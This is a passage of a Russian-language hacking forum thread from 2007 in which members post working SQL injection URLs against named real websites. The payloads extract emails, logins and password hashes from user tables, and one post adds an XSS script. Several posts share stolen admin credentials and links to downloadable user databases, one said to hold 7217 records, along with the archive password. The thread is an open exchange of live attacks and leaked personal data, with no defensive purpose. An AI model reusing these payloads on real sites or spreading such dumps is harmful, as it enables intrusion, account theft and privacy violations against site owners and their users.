ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #541  
Старый 19.02.2007, 17:40
Аватар для злюка
злюка
Постоянный
Регистрация: 11.11.2005
Сообщений: 317
Провел на форуме:
2848854

Репутация: 409
Отправить сообщение для злюка с помощью ICQ
По умолчанию

_http://kacca.webdevelopment.us/index.php?iid=ViewPlace&id=-1+union+select+1,concat(email,0x3a,passwd),3,4,5,6 ,7+from+users+limit+0,1/*
помогите найти таблицу админки
 
Ответить с цитированием

  #542  
Старый 19.02.2007, 17:47
Аватар для }{0TT@БЬ)Ч
}{0TT@БЬ)Ч
Постоянный
Регистрация: 20.01.2006
Сообщений: 302
Провел на форуме:
3536885

Репутация: 447
По умолчанию

злюка таблица admins
 
Ответить с цитированием

  #543  
Старый 19.02.2007, 19:32
Аватар для }{0TT@БЬ)Ч
}{0TT@БЬ)Ч
Постоянный
Регистрация: 20.01.2006
Сообщений: 302
Провел на форуме:
3536885

Репутация: 447
По умолчанию

Цитата:
Сообщение от [sql]  
Код:
http://www.bamba.ru/product.asp?view=1+or+1=(SELECT+TOP+1+cast(email+as+nvarchar)%2B%27%3A%27%2Bcast(login+as+nvarchar)%2B%27%3A%27%2Bcast(password+as+nvarchar)+from+MEMBER+where+member_id=10)--
и че это?
 
Ответить с цитированием

  #544  
Старый 19.02.2007, 20:09
Аватар для }{0TT@БЬ)Ч
}{0TT@БЬ)Ч
Постоянный
Регистрация: 20.01.2006
Сообщений: 302
Провел на форуме:
3536885

Репутация: 447
По умолчанию

в сорцы не глянул
 
Ответить с цитированием

  #545  
Старый 19.02.2007, 21:57
Аватар для *D1VER
*D1VER
Участник форума
Регистрация: 05.12.2006
Сообщений: 112
Провел на форуме:
685950

Репутация: 175
Отправить сообщение для *D1VER с помощью ICQ
По умолчанию

http://www.a2k.org.ua/index.php?topic=9&section=-1+union+select+concat(user,password)+from+users/*&lng=ru

http://www.a2k.org.ua/admin/

admin:repz
------------------------------------------------------------

http://www.sevzapmebel.ru/index.php?area=hidden&level=-1+union+select+table_name+from+information_schema. tables+limit+14,1/*

-------------------------------------------------------------

http://www.btk.ru/index.php?category=-1+union+select+1111,222,3,'<script sql>alert(/_ANTICHAT_/)</script sql>',44,1+from+articles/*

Последний раз редактировалось *D1VER; 19.02.2007 в 23:28..
 
Ответить с цитированием

  #546  
Старый 20.02.2007, 00:57
Аватар для ice1k
ice1k
Постоянный
Регистрация: 01.01.2007
Сообщений: 551
Провел на форуме:
4908597

Репутация: 1866


Отправить сообщение для ice1k с помощью ICQ
По умолчанию

Код:
http://www.bulgaria.by/rus/index.php?text_id=-99+union+select+concat(login,0x3a,pwd)+from+user+limit+0,1/*
=\
 
Ответить с цитированием

www.skype-forum.com
  #547  
Старый 20.02.2007, 01:46
Аватар для Thanat0z
Thanat0z
Постоянный
Регистрация: 06.12.2006
Сообщений: 762
Провел на форуме:
5352530

Репутация: 2062


По умолчанию www.skype-forum.com

Цитата:
__http://www.skype-forum.com/downloads.php?cat=-1%20union%20select%201,concat(user_email,char(58), user_icq,char(58),user_password),3,4,5,6,7,8,9%20f rom%20bb_users%20where%20user_id<1000/*
БД: __http://rapidshare.com/files/17283919/db_skype-forum.com.rar

формат: email icq md5-hash (xls) 273kb in rar
pass:a-chat
количество записей :7217


кстати кто не видел, в прошлый раз я выкладывал
__http://rapidshare.com/files/15758988/base_forum_siemens-club_ru.rar
 
Ответить с цитированием

  #548  
Старый 20.02.2007, 15:08
Аватар для kamaz
kamaz
Познающий
Регистрация: 31.01.2007
Сообщений: 88
Провел на форуме:
631013

Репутация: 453
Отправить сообщение для kamaz с помощью ICQ
По умолчанию

Цитата:
http://tagswap.net/index.lasso?pgID=2&uID=-10%20union%20select%201,2,3,4,5,6,7,8,9/*
Цитата:
http://www.running-wild.net/forum/downloads.php?cat=-1%20union%20select%201,concat(user_email,char(58), user_icq,char(58),user_password),3,4,5,6,7,8,9%20f rom%20phpbb_users/*
 
Ответить с цитированием

  #549  
Старый 20.02.2007, 17:30
Аватар для blaga
blaga
Постоянный
Регистрация: 23.03.2006
Сообщений: 977
Провел на форуме:
2976185

Репутация: 694


Отправить сообщение для blaga с помощью ICQ
По умолчанию

Цитата:
http://sadovnica.ru/cvet/index.php?aid=-1+union+select+6,2,database(),version(),USER()/*
хе моя первая в этой теме.
 
Ответить с цитированием

  #550  
Старый 20.02.2007, 19:01
Аватар для C[]R3
C[]R3
Познающий
Регистрация: 16.01.2007
Сообщений: 37
Провел на форуме:
164161

Репутация: 20
По умолчанию

Цитата:
sadovnica.ru
гыы, жжошь))

вот я чё откопал
Цитата:
http://shkola.lv/?mode=lsntheme&themeid=-99+union+select+1,2,user(),4,5/*
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ